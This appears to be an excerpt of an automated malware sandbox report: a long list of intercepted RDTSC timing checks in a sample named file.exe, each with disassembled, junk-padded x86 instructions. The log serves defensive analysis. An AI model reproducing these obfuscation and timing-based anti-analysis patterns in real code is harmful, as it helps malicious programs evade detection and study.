Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E14E second address: B3E15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E15D second address: B3E161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E161 second address: 9D3E5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pop eax 0x00000008 mov edi, dword ptr [ebp+122D2FC1h] 0x0000000e push dword ptr [ebp+122D126Dh] 0x00000014 sbb di, F88Ah 0x00000019 call dword ptr [ebp+122D1FFEh] 0x0000001f pushad 0x00000020 jne 00007F08C0CB4527h 0x00000026 xor eax, eax 0x00000028 jnl 00007F08C0CB4527h 0x0000002e mov edx, dword ptr [esp+28h] 0x00000032 jno 00007F08C0CB452Ch 0x00000038 jmp 00007F08C0CB4539h 0x0000003d mov dword ptr [ebp+122D2EB9h], eax 0x00000043 pushad 0x00000044 sub dword ptr [ebp+122D33CBh], esi 0x0000004a add esi, dword ptr [ebp+122D2DB1h] 0x00000050 popad 0x00000051 mov esi, 0000003Ch 0x00000056 pushad 0x00000057 xor di, F3D0h 0x0000005c xor dword ptr [ebp+122D1C3Dh], edx 0x00000062 popad 0x00000063 add esi, dword ptr [esp+24h] 0x00000067 sub dword ptr [ebp+122D1C52h], edx 0x0000006d lodsw 0x0000006f jmp 00007F08C0CB4535h 0x00000074 add eax, dword ptr [esp+24h] 0x00000078 jnp 00007F08C0CB4527h 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 jmp 00007F08C0CB452Fh 0x00000087 nop 0x00000088 pushad 0x00000089 push eax 0x0000008a jno 00007F08C0CB4526h 0x00000090 pop eax 0x00000091 push eax 0x00000092 push edx 0x00000093 jbe 00007F08C0CB4526h 0x00000099 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E1BC second address: B3E1C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E1C0 second address: B3E1D6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F08C0CB4526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F08C0CB4528h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E1D6 second address: B3E1DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E1DC second address: B3E1E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E2E0 second address: B3E2EA instructions: 0x00000000 rdtsc 0x00000002 je 00007F08C0C9195Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E533 second address: B3E537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E537 second address: B3E543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E543 second address: B3E57A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 nop 0x00000009 pushad 0x0000000a and edx, dword ptr [ebp+122D2E61h] 0x00000010 mov edx, 6C0E0EEFh 0x00000015 popad 0x00000016 push 00000000h 0x00000018 add dword ptr [ebp+122D1E1Dh], edi 0x0000001e xor edi, dword ptr [ebp+122D3051h] 0x00000024 push D6EAE8A2h 0x00000029 push eax 0x0000002a push edx 0x0000002b jno 00007F08C0CB452Ch 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E57A second address: B3E613 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F08C0C9195Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 291517DEh 0x00000011 movsx esi, bx 0x00000014 push 00000003h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F08C0C91958h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ecx 0x00000035 call 00007F08C0C91958h 0x0000003a pop ecx 0x0000003b mov dword ptr [esp+04h], ecx 0x0000003f add dword ptr [esp+04h], 00000017h 0x00000047 inc ecx 0x00000048 push ecx 0x00000049 ret 0x0000004a pop ecx 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D1C0Eh], ecx 0x00000052 push 00000003h 0x00000054 ja 00007F08C0C9196Ch 0x0000005a push 78A00942h 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F08C0C9195Fh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E613 second address: B3E61D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F08C0CB4526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E61D second address: B3E68F instructions: 0x00000000 rdtsc 0x00000002 je 00007F08C0C9196Dh 0x00000008 jmp 00007F08C0C91967h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f add dword ptr [esp], 475FF6BEh 0x00000016 movzx edi, di 0x00000019 lea ebx, dword ptr [ebp+1243E02Bh] 0x0000001f jbe 00007F08C0C91970h 0x00000025 pushad 0x00000026 call 00007F08C0C91967h 0x0000002b pop edi 0x0000002c popad 0x0000002d xchg eax, ebx 0x0000002e jmp 00007F08C0C91965h 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jng 00007F08C0C91958h 0x0000003c push edx 0x0000003d pop edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60DE5 second address: B60DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34FEC second address: B34FF2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EED3 second address: B5EED7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EED7 second address: B5EEEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F08C0C91958h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EEEB second address: B5EF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0CB4539h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EF08 second address: B5EF17 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F08C0C91956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EF17 second address: B5EF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0CB4536h 0x00000009 jne 00007F08C0CB4526h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F08C0CB452Fh 0x00000018 push eax 0x00000019 push edx 0x0000001a jnp 00007F08C0CB4526h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EF54 second address: B5EF58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EF58 second address: B5EF5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EF5C second address: B5EF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F08C0C91956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EF68 second address: B5EF83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F08C0CB4535h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F369 second address: B5F36D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F36D second address: B5F377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F66E second address: B5F673 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F78D second address: B5F792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F792 second address: B5F7B3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F08C0C9195Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F08C0C91974h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jp 00007F08C0C91956h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F7B3 second address: B5F7BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F7BC second address: B5F7C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FBB2 second address: B5FBEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4537h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jng 00007F08C0CB4526h 0x00000011 jmp 00007F08C0CB452Fh 0x00000016 jnp 00007F08C0CB4526h 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FBEE second address: B5FBF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FDAC second address: B5FDBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0CB452Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B36AAA second address: B36AB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B36AB0 second address: B36AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B604C3 second address: B604C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60641 second address: B60679 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F08C0CB453Fh 0x00000008 jmp 00007F08C0CB4539h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007F08C0CB4526h 0x00000019 jmp 00007F08C0CB452Bh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60679 second address: B60696 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91969h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6081C second address: B60821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60821 second address: B6085C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F08C0C91971h 0x00000008 jne 00007F08C0C91956h 0x0000000e jmp 00007F08C0C91965h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F08C0C91966h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6085C second address: B60860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B609CD second address: B609EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F08C0C91967h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6245A second address: B6245E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B643C7 second address: B643CD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B643CD second address: B643D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B643D2 second address: B643F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0C91964h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B643F3 second address: B643F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B64A00 second address: B64A04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EDC3 second address: B6EDC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EDC7 second address: B6EDE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F08C0C91967h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EDE4 second address: B6EDEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F08C0CB4526h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EDEE second address: B6EDF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EDF2 second address: B6EE11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0CB4531h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EF4F second address: B6EF53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EF53 second address: B6EF70 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jg 00007F08C0CB4526h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pushad 0x00000017 popad 0x00000018 pop edi 0x00000019 push eax 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6F43C second address: B6F472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F08C0C91967h 0x00000008 jl 00007F08C0C91956h 0x0000000e jl 00007F08C0C91956h 0x00000014 popad 0x00000015 push eax 0x00000016 jo 00007F08C0C91956h 0x0000001c pop eax 0x0000001d pop edx 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6F472 second address: B6F478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6F478 second address: B6F47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6F47D second address: B6F489 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F08C0CB4526h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70C58 second address: B70C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70E3D second address: B70E56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4535h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70E56 second address: B70E6C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F08C0C9195Ch 0x00000008 jl 00007F08C0C91956h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70E6C second address: B70E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70E72 second address: B70E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70E77 second address: B70E8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F08C0CB4534h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71028 second address: B7102D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7208E second address: B72098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F08C0CB4526h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B72098 second address: B7209C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B730F3 second address: B730F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7296E second address: B72972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B730F9 second address: B730FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73CB4 second address: B73CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73A24 second address: B73A28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73CB9 second address: B73CD2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007F08C0C91956h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F08C0C9195Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73CD2 second address: B73D2B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F08C0CB4528h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 pushad 0x00000026 push edi 0x00000027 mov ax, A92Eh 0x0000002b pop ebx 0x0000002c clc 0x0000002d popad 0x0000002e push 00000000h 0x00000030 pushad 0x00000031 mov dword ptr [ebp+122D1FA1h], edi 0x00000037 jmp 00007F08C0CB452Fh 0x0000003c popad 0x0000003d xchg eax, ebx 0x0000003e push edx 0x0000003f push edi 0x00000040 pushad 0x00000041 popad 0x00000042 pop edi 0x00000043 pop edx 0x00000044 push eax 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 push edi 0x00000049 pop edi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75B98 second address: B75BB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F08C0C9195Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B22C second address: B7B261 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F08C0CB452Ch 0x00000008 je 00007F08C0CB4526h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 movsx ebx, cx 0x00000016 push 00000000h 0x00000018 sub bx, C70Bh 0x0000001d mov bh, F1h 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F08C0CB4532h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B261 second address: B7B295 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F08C0C91969h 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F08C0C9195Bh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7C1F0 second address: B7C1F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7C1F4 second address: B7C1FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7C1FA second address: B7C200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7C200 second address: B7C204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B764E5 second address: B764F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F08C0CB4530h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7E217 second address: B7E28E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C9195Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a ja 00007F08C0C91964h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F08C0C91958h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d clc 0x0000002e push 00000000h 0x00000030 mov bh, 3Eh 0x00000032 xchg eax, esi 0x00000033 pushad 0x00000034 jmp 00007F08C0C91963h 0x00000039 jmp 00007F08C0C9195Ch 0x0000003e popad 0x0000003f push eax 0x00000040 pushad 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7E28E second address: B7E297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7C447 second address: B7C44C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
